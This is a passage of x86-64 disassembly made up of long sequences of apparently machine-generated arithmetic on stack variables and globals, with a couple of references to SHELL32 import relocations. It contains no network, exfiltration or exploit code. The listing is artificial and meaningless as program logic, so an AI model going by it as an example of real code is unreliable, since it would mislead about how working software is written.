mov rcx, qword [rsp + 0xc8d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc120], rax
mov rax, qword [rsp + 0xd190]
mov rcx, qword [rsp + 0xc5d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xeab8]
mov dword [rcx], eax
lea rax, [rsp + 0x6bac]
mov qword [rsp + 0xeb18], rax
mov rax, qword [rsp + 0xc970]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19e8]
xor eax, ecx
mov rcx, qword [0x1402c90f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xfb]
movsx ecx, byte [rsp + 0x67]
shl eax, cl
mov byte [rsp + 0xd1], al
mov rax, qword [0x1402c92a8]
movzx eax, byte [rax]
mov byte [rsp + 0x1e3], al
movzx eax, byte [rsp + 0x70]
movzx ecx, byte [rsp + 0x69]
sar eax, cl
mov rcx, qword [rsp + 0xd7d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1b50]
mov rcx, qword [rsp + 0xd4f8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x17c8], ax
lea rax, [rsp + 0xcc60]
mov qword [rsp + 0xeb20], rax
mov rax, qword [rsp + 0xc830]
mov rcx, qword [rsp + 0xc180]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6b68], eax
mov rax, qword [rsp + 0xc878]
mov eax, dword [rax]
mov dword [rsp + 0x6f44], eax
mov rax, qword [rsp + 0xea00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc428]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xe7f8], rax
movsx eax, byte [rsp + 0x1bc]
mov rcx, qword [rsp + 0xced0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c74ea], al
movzx eax, word [rsp + 0x16a8]
mov word [rsp + 0x1b68], ax
mov rax, qword [0x1402c9568]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1638]
add eax, ecx
mov rcx, qword [rsp + 0xd868]
mov word [rcx], ax
mov rax, qword [rsp + 0xd660]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe218]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc560]
mov word [rcx], ax
mov rax, qword [rsp + 0xcd10]
movzx eax, byte [rax]
mov byte [rsp + 0x1e4], al
mov rax, qword [rsp + 0xd708]
mov ecx, dword [rsp + 0x6ea4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbab0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6b08]
mov dword [rsp + 0x6f48], eax
mov rax, qword [rsp + 0xd808]
mov rcx, qword [rsp + 0xbeb8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xca78], rax
mov rax, qword [rsp + 0xeb20]
mov rcx, qword [rsp + 0xdda8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xda50]
mov qword [rcx], rax
movsx eax, word [rsp + 0x16a8]
movsx ecx, word [rsp + 0x1b08]
sub eax, ecx
mov word [0x1402c75e0], ax
movzx eax, word [rsp + 0x1600]
mov word [rsp + 0x1b6c], ax
mov rax, qword [rsp + 0xd240]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd3]
sub eax, ecx
mov rcx, qword [rsp + 0xd200]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1ba]
mov byte [rsp + 0x1e5], al
mov rax, qword [rsp + 0xc368]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9d]
sub eax, ecx
mov byte [rsp + 0x168], al
mov eax, dword [rsp + 0x6ebc]
mov ecx, dword [rsp + 0x6bb8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d78], eax
lea rax, [rsp + 0x6e94]
mov qword [rsp + 0xeb28], rax
mov rax, qword [rsp + 0xe170]
mov rcx, qword [rsp + 0xda40]
mov qword [rsp + 0xeb30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeb30]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xe9f8], rax
lea rax, [rsp + 0xdcc8]
mov qword [rsp + 0xeb38], rax
mov rax, qword [rsp + 0xd570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd2b0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1844], ax
mov rax, qword [rsp + 0xd8d0]
movsx eax, word [rax]
movsx ecx, word [0x1402c7544]
or eax, ecx
mov word [0x1402c9528], ax
mov rax, qword [rsp + 0xced0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe3c8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xcf48]
mov byte [rcx], al
lea rax, [rsp + 0x157]
mov qword [rsp + 0xeb40], rax
mov rax, qword [rsp + 0xe360]
movzx eax, word [rax]
movzx ecx, word [0x1402c9550]
and eax, ecx
mov word [rsp + 0x1ae0], ax
mov rax, qword [rsp + 0xd348]
mov rax, qword [rax]
mov qword [rsp + 0xeb48], rax
mov rax, qword [rsp + 0xe888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc780]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc58], rax
lea rax, [0x1402c90a0]
mov qword [rsp + 0xeb50], rax
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xc6f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b10], eax
mov rax, qword [rsp + 0xdab8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19d]
add eax, ecx
mov byte [rsp + 0x114], al
movsx eax, byte [0x1402c74ae]
movsx ecx, byte [rsp + 0xf3]
add eax, ecx
mov byte [0x1402c7533], al
movzx eax, word [rsp + 0x19b4]
mov word [rsp + 0x1b70], ax
movsx eax, byte [rsp + 0x95]
mov rcx, qword [rsp + 0xde28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd9], al
lea rax, [0x1402c74fa]
mov qword [rsp + 0xeb58], rax
mov rax, qword [rsp + 0xd770]
mov rcx, qword [rsp + 0xdad0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbaa8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6cd4]
mov ecx, dword [rsp + 0x6f28]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe6b8]
mov eax, dword [rax]
mov dword [rsp + 0x6f4c], eax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xc1c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbf28], rax
lea rax, [rsp + 0xe4]
mov qword [rsp + 0xeb60], rax
lea rax, [rsp + 0xed]
mov qword [0x1402c96c8], rax
movsx eax, word [rsp + 0x16d0]
mov rcx, qword [rsp + 0xc5c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc8a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xe818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x153c]
shl eax, cl
mov rcx, qword [rsp + 0xe068]
mov word [rcx], ax
lea rax, [0x1402c9678]
mov qword [rsp + 0xeb68], rax
mov rax, qword [rsp + 0xe098]
mov rcx, qword [rsp + 0xcfd0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xd250]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe990]
mov eax, dword [rax]
mov dword [rsp + 0x6f50], eax
mov rax, qword [rsp + 0xe310]
mov rcx, qword [rsp + 0xdf90]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd280], rax
lea rax, [rsp + 0x695c]
mov qword [rsp + 0xeb70], rax
movsx eax, byte [rsp + 0x6c]
movsx ecx, byte [rsp + 0x95]
sar eax, cl
mov rcx, qword [rsp + 0xdf98]
mov byte [rcx], al
mov rax, qword [rsp + 0xe968]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd00]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1402c9640]
mov word [rcx], ax
mov rax, qword [rsp + 0xca18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
add eax, ecx
mov rcx, qword [rsp + 0xca90]
mov byte [rcx], al
lea rax, [rsp + 0x1904]
mov qword [rsp + 0xeb78], rax
mov rax, qword [rsp + 0xd038]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x154c]
sub eax, ecx
mov word [rsp + 0x15a8], ax
movzx eax, word [rsp + 0x1894]
mov word [rsp + 0x1b74], ax
mov rax, qword [rsp + 0xe760]
mov rcx, qword [rsp + 0xd080]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xdad0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe2e8]
mov rcx, qword [rsp + 0xbd20]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc820], rax
mov eax, dword [rsp + 0x6ce0]
mov dword [rsp + 0x6f54], eax
mov rax, qword [rsp + 0xc4a8]
mov rcx, qword [rsp + 0xc080]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd678]
mov dword [rcx], eax
mov rax, qword [0x1402c9690]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc870]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c9124], al
mov rax, qword [rsp + 0xbb78]
movzx eax, byte [rax]
mov byte [rsp + 0x1e6], al
mov rax, qword [rsp + 0xe8f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a38]
and eax, ecx
mov word [rsp + 0x1a60], ax
mov rax, qword [0x1402c9408]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd240]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0xd170]
movzx eax, word [rax]
mov word [rsp + 0x1b78], ax
mov eax, dword [rsp + 0x68d4]
mov rcx, qword [rsp + 0xd3d0]
mov qword [rsp + 0xeb80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeb80]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6e1c], eax
mov rax, qword [rsp + 0xe138]
mov rax, qword [rax]
mov qword [rsp + 0xeb88], rax
mov rax, qword [rsp + 0xd750]
mov rcx, qword [rsp + 0xdde8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdfb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdd10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe220]
mov qword [rsp + 0xeb90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeb90]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xe3c0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x15c8]
mov word [0x1402c96d0], ax
lea rax, [rsp + 0x1cc]
mov qword [rsp + 0xeb98], rax
movsx eax, word [rsp + 0x167c]
mov rcx, qword [rsp + 0xe3a8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1758], ax
lea rax, [rsp + 0x1a44]
mov qword [rsp + 0xeba0], rax
movzx eax, byte [rsp + 0x199]
movzx ecx, byte [rsp + 0x1a1]
add eax, ecx
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0xd780]
mov qword [rsp + 0xeba8], rax
mov rax, qword [rsp + 0xce00]
mov eax, dword [rax]
imul eax, dword [0x1402c7498]
mov rcx, qword [rsp + 0xe7f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdb70]
mov rcx, qword [rsp + 0xd908]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xd1d8]
mov qword [rcx], rax
lea rax, [rsp + 0x695c]
mov qword [rsp + 0xebb0], rax
movzx eax, byte [rsp + 0x17d]
mov rcx, qword [rsp + 0xe390]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c751f], al
mov rax, qword [rsp + 0xd118]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdae8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1804], ax
mov rax, qword [rsp + 0xe928]
movzx eax, byte [rax]
mov byte [rsp + 0x1e7], al
mov rax, qword [rsp + 0xe7c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd820]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa7], al
mov rax, qword [rsp + 0xbf88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18ac]
sub eax, ecx
mov word [rsp + 0x1980], ax
mov rax, qword [rsp + 0xd920]
mov eax, dword [rax]
mov dword [rsp + 0x6f58], eax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xcff8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd260]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd7b0]
mov rax, qword [rax]
mov qword [rsp + 0xebb8], rax
mov rax, qword [rsp + 0xdfb0]
mov ecx, dword [rsp + 0x6b34]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xe008]
mov dword [rcx], eax
lea rax, [0x1402c74f2]
mov qword [0x1402c96d8], rax
mov rax, qword [rsp + 0xc0b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19dc]
add eax, ecx
mov rcx, qword [rsp + 0xd9e8]
mov word [rcx], ax
lea rax, [rsp + 0x12f]
mov qword [rsp + 0xebc0], rax
movzx eax, word [rsp + 0x18d0]
mov rcx, qword [rsp + 0xda80]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd938]
mov word [rcx], ax
mov rax, qword [rsp + 0xc648]
movzx eax, byte [rax]
mov byte [rsp + 0x1e8], al
mov rax, qword [rsp + 0xc6a0]
mov rcx, qword [rsp + 0xce10]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe6e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd520]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f20]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e24], eax
lea rax, [rsp + 0x6b70]
mov qword [rsp + 0xebc8], rax
mov rax, qword [rsp + 0xd8c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe020]
mov qword [rsp + 0xebd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xebd0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xeb88], rax
mov rax, qword [rsp + 0xc8a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x156c]
sar eax, cl
mov rcx, qword [0x1402c9350]
mov word [rcx], ax
lea rax, [rsp + 0x172c]
mov qword [rsp + 0xebd8], rax
mov rax, qword [rsp + 0xe6f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd690]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1644], ax
lea rax, [rsp + 0x6e]
mov qword [rsp + 0xebe0], rax
movsx eax, byte [rsp + 0x15c]
movsx ecx, byte [rsp + 0x101]
sub eax, ecx
mov byte [rsp + 0x1cf], al
mov rax, qword [rsp + 0xe820]
mov rcx, qword [rsp + 0xc500]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xe5f0], rax
lea rax, [rsp + 0xc300]
mov qword [rsp + 0xebe8], rax
mov eax, dword [rsp + 0x6c3c]
mov ecx, dword [rsp + 0x6b94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe4e8]
mov dword [rcx], eax
lea rax, [rsp + 0x6d50]
mov qword [rsp + 0xebf0], rax
lea rax, [rsp + 0xba]
mov qword [0x1402c96e0], rax
mov rax, qword [rsp + 0xd7f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdd08]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdc68]
mov byte [rcx], al
mov rax, qword [rsp + 0xe910]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a90]
sub eax, ecx
mov rcx, qword [rsp + 0xc838]
mov word [rcx], ax
lea rax, [0x1402c9638]
mov qword [rsp + 0xebf8], rax
movsx eax, byte [rsp + 0x18d]
movsx ecx, byte [rsp + 0xa8]
sub eax, ecx
mov byte [rsp + 0x153], al
lea rax, [rsp + 0xdee0]
mov qword [rsp + 0xec00], rax
mov rax, qword [rsp + 0xcd90]
mov rcx, qword [rsp + 0xbb70]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xebb8], rax
mov eax, dword [rsp + 0x6f00]
mov ecx, dword [rsp + 0x6b58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d38], eax
lea rax, [rsp + 0x6c04]
mov qword [rsp + 0xec08], rax
mov rax, qword [rsp + 0xcd10]
movsx eax, byte [rax]
mov rcx, qword [0x1402c90d0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402c94b0]
mov byte [rcx], al
mov rax, qword [rsp + 0xcd60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1760], ax
lea rax, [rsp + 0x96]
mov qword [rsp + 0xec10], rax
movzx eax, word [rsp + 0x1b3c]
mov rcx, qword [rsp + 0xe778]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x19d8], ax
lea rax, [rsp + 0x19a4]
mov qword [rsp + 0xec18], rax
mov rax, qword [rsp + 0xe518]
movzx ecx, al
mov rax, qword [rsp + 0xd948]
shl rax, cl
mov qword [rsp + 0xdb08], rax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd6d8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd1d8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6bec]
mov dword [rsp + 0x6f5c], eax
mov eax, dword [rsp + 0x6c0c]
movzx ecx, al
mov eax, dword [rsp + 0x68d4]
shr eax, cl
mov dword [rsp + 0x6b14], eax
movzx eax, byte [reloc.SHELL32.dll_ILSaveToStream]
mov byte [rsp + 0x1e9], al
lea rax, [rsp + 0x1900]
mov qword [0x1402c96e8], rax
mov rax, qword [rsp + 0xc728]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc600]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x15d4], ax
mov rax, qword [rsp + 0xcfa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x135]
add eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0xbfb0]
movzx eax, byte [rax]
mov byte [rsp + 0x1ea], al
mov rax, qword [rsp + 0xe468]
mov rcx, qword [rsp + 0xbeb8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcfc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdb58]
mov qword [rsp + 0xec20], rax
mov eax, dword [rsp + 0x6ec4]
mov ecx, dword [0x1402c7498]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe2c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xea48]
mov ecx, dword [rsp + 0x6a90]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b38], eax
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0x1eb], al
mov rax, qword [rsp + 0xea50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19c4]
sub eax, ecx
mov word [0x1402c755c], ax
movzx eax, word [rsp + 0x1a20]
movzx ecx, word [rsp + 0x166c]
sub eax, ecx
mov word [rsp + 0x1708], ax
movzx eax, byte [rsp + 0x1d3]
mov byte [rsp + 0x1ec], al
mov rax, qword [rsp + 0xc658]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17fc]
add eax, ecx
mov word [rsp + 0x1ad4], ax
mov rax, qword [rsp + 0xd9d8]
mov ecx, dword [rsp + 0x6ae8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6af4], eax
mov rax, qword [rsp + 0xe240]
mov rax, qword [rax]
mov qword [rsp + 0xec28], rax
mov eax, dword [rsp + 0x69e8]
mov rcx, qword [rsp + 0xcc38]
mov qword [rsp + 0xec30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xec30]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6b0c], eax
mov rax, qword [rsp + 0xdac8]
mov qword [rsp + 0xec38], rax
mov rax, qword [rsp + 0xce78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19d4]
or eax, ecx
mov rcx, qword [rsp + 0xc478]
mov word [rcx], ax
lea rax, [rsp + 0x1814]
mov qword [0x1402c96f0], rax
lea rax, [rsp + 0x12b]
mov qword [rsp + 0xec40], rax
movsx eax, word [rsp + 0x1804]
movsx ecx, word [0x1402c9338]
xor eax, ecx
mov rcx, qword [rsp + 0xc3d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xe660]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
shl eax, cl
mov rcx, qword [rsp + 0xc5b0]
mov byte [rcx], al
lea rax, [rsp + 0xe368]
mov qword [rsp + 0xec48], rax
mov rax, qword [rsp + 0xe398]
mov rcx, qword [rsp + 0xbe30]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcf98]
mov qword [rcx], rax
lea rax, [rsp + 0x6c1c]
mov qword [rsp + 0xec50], rax
mov rax, qword [rsp + 0xe6d0]
mov rcx, qword [rsp + 0xce68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6cf0], eax
movsx eax, word [rsp + 0x17f8]
movsx ecx, word [rsp + 0x1ac4]
add eax, ecx
mov rcx, qword [rsp + 0xc088]
mov word [rcx], ax
lea rax, [rsp + 0xb0]
mov qword [0x1402c96f8], rax
mov rax, qword [rsp + 0xbd08]
movzx eax, byte [rax]
mov byte [rsp + 0x1ed], al
mov rax, qword [rsp + 0xc070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd570]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16dc], ax
lea rax, [0x1402c74ef]
mov qword [rsp + 0xec58], rax
movsx eax, word [rsp + 0x191c]
mov rcx, qword [rsp + 0xcc90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1948], ax
mov rax, qword [rsp + 0xe4e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6df4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a68], eax
lea rax, [rsp + 0xca28]
mov qword [rsp + 0xec60], rax
mov rax, qword [rsp + 0xe120]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xeae8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd7f8]
mov rax, qword [rax]
mov qword [rsp + 0xec68], rax
mov rax, qword [rsp + 0xe7c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xddf8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c750a], al
mov rax, qword [rsp + 0xec18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1858]
sub eax, ecx
mov word [rsp + 0x1550], ax
mov rax, qword [rsp + 0xdff0]
movzx eax, byte [rax]
mov byte [rsp + 0x1ee], al
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0xbd58]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xdc78]
mov byte [rcx], al
movsx eax, word [rsp + 0x1544]
movsx ecx, word [rsp + 0x18f4]
shl eax, cl
mov word [rsp + 0x1830], ax
mov rax, qword [rsp + 0xd808]
mov rax, qword [rax]
mov qword [rsp + 0xec70], rax
mov eax, dword [rsp + 0x69e4]
mov rcx, qword [rsp + 0xe0a8]
mov qword [rsp + 0xec78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xec78]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xd5b8]
mov dword [rcx], eax
lea rax, [rsp + 0xbd40]
mov qword [rsp + 0xec80], rax
mov eax, dword [rsp + 0x6f34]
mov ecx, dword [rsp + 0x69f8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xce68]
mov dword [rcx], eax
lea rax, [rsp + 0x1960]
mov qword [0x1402c9700], rax
movzx eax, word [rsp + 0x1844]
mov rcx, qword [rsp + 0xd8f0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1554], ax
mov rax, qword [rsp + 0xcfa8]
movzx eax, byte [rax]
mov byte [rsp + 0x1ef], al
mov rax, qword [0x1402c93c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdd]
or eax, ecx
mov rcx, qword [rsp + 0xc190]
mov byte [rcx], al
movzx eax, byte [rsp + 0x6f]
mov byte [rsp + 0x1f0], al
mov eax, dword [rsp + 0x6d44]
mov ecx, dword [rsp + 0x6e50]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ea4], eax
mov rax, qword [rsp + 0xc078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe720]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdb70]
mov qword [rcx], rax
lea rax, [rsp + 0xe028]
mov qword [rsp + 0xec88], rax
mov rax, qword [rsp + 0xd6b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ee8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c48], eax
movsx eax, word [0x1402c74d4]
movsx ecx, word [rsp + 0x1a90]
add eax, ecx
mov word [0x1402c7598], ax
movzx eax, byte [rsp + 0x1ba]
mov byte [rsp + 0x1f1], al
movsx eax, byte [rsp + 0x9b]
movsx ecx, byte [rsp + 0x87]
add eax, ecx
mov rcx, qword [rsp + 0xde28]
mov byte [rcx], al
movzx eax, word [rsp + 0x1950]
mov rcx, qword [rsp + 0xc520]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdbf8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1628]
mov word [rsp + 0x1b7c], ax
mov rax, qword [rsp + 0xd330]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcc48], rax
lea rax, [rsp + 0x6e28]
mov qword [rsp + 0xec90], rax
mov rax, qword [rsp + 0xe3e0]
mov rcx, qword [rsp + 0xdb88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc388], rax
lea rax, [rsp + 0x6ca4]
mov qword [rsp + 0xec98], rax
mov rax, qword [0x1402c9458]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe660]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [reloc.SHELL32.dll_ILFindLastID], al
mov rax, qword [rsp + 0xe778]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x196c]
sub eax, ecx
mov word [rsp + 0x1904], ax
mov rax, qword [rsp + 0xeb60]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c74bb]
shl eax, cl
mov byte [rsp + 0x16d], al
movzx eax, word [rsp + 0x15cc]
mov word [rsp + 0x1b80], ax
movsx eax, word [rsp + 0x1a48]
movsx ecx, word [rsp + 0x1604]
or eax, ecx
mov word [rsp + 0x1668], ax
lea rax, [rsp + 0xc8d0]
mov qword [rsp + 0xeca0], rax
mov rax, qword [rsp + 0xe288]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c44]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x69dc], eax
mov rax, qword [rsp + 0xc588]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x69f0]
mov rcx, qword [rsp + 0xdf48]
mov dword [rcx], eax
lea rax, [rsp + 0xc3a0]
mov qword [rsp + 0xeca8], rax
mov rax, qword [rsp + 0xe390]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc648]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1402c750e], al
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0xe258]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x98], al
mov rax, qword [0x1402c94a0]
movzx eax, word [rax]
mov word [rsp + 0x1b84], ax
mov rax, qword [rsp + 0xcc30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd768]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b24], ax
mov rax, qword [rsp + 0xbed8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcb88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x14b], al
mov eax, dword [0x1402c7498]
mov dword [rsp + 0x6f60], eax
mov rax, qword [rsp + 0xb9d8]
mov rcx, qword [rsp + 0xd998]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdd00], rax
mov eax, dword [rsp + 0x6ac4]
mov dword [rsp + 0x6f64], eax
mov rax, qword [rsp + 0xc068]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcf00]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1ca]
movzx ecx, byte [rsp + 0x141]
sub eax, ecx
mov rcx, qword [0x1402c9518]
mov byte [rcx], al
movzx eax, word [rsp + 0x1b34]
mov rcx, qword [rsp + 0xdb68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b3c], ax
lea rax, [rsp + 0x7d]
mov qword [rsp + 0xecb0], rax
mov rax, qword [rsp + 0xd090]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16bc]
and eax, ecx
mov rcx, qword [rsp + 0xd868]
mov word [rcx], ax
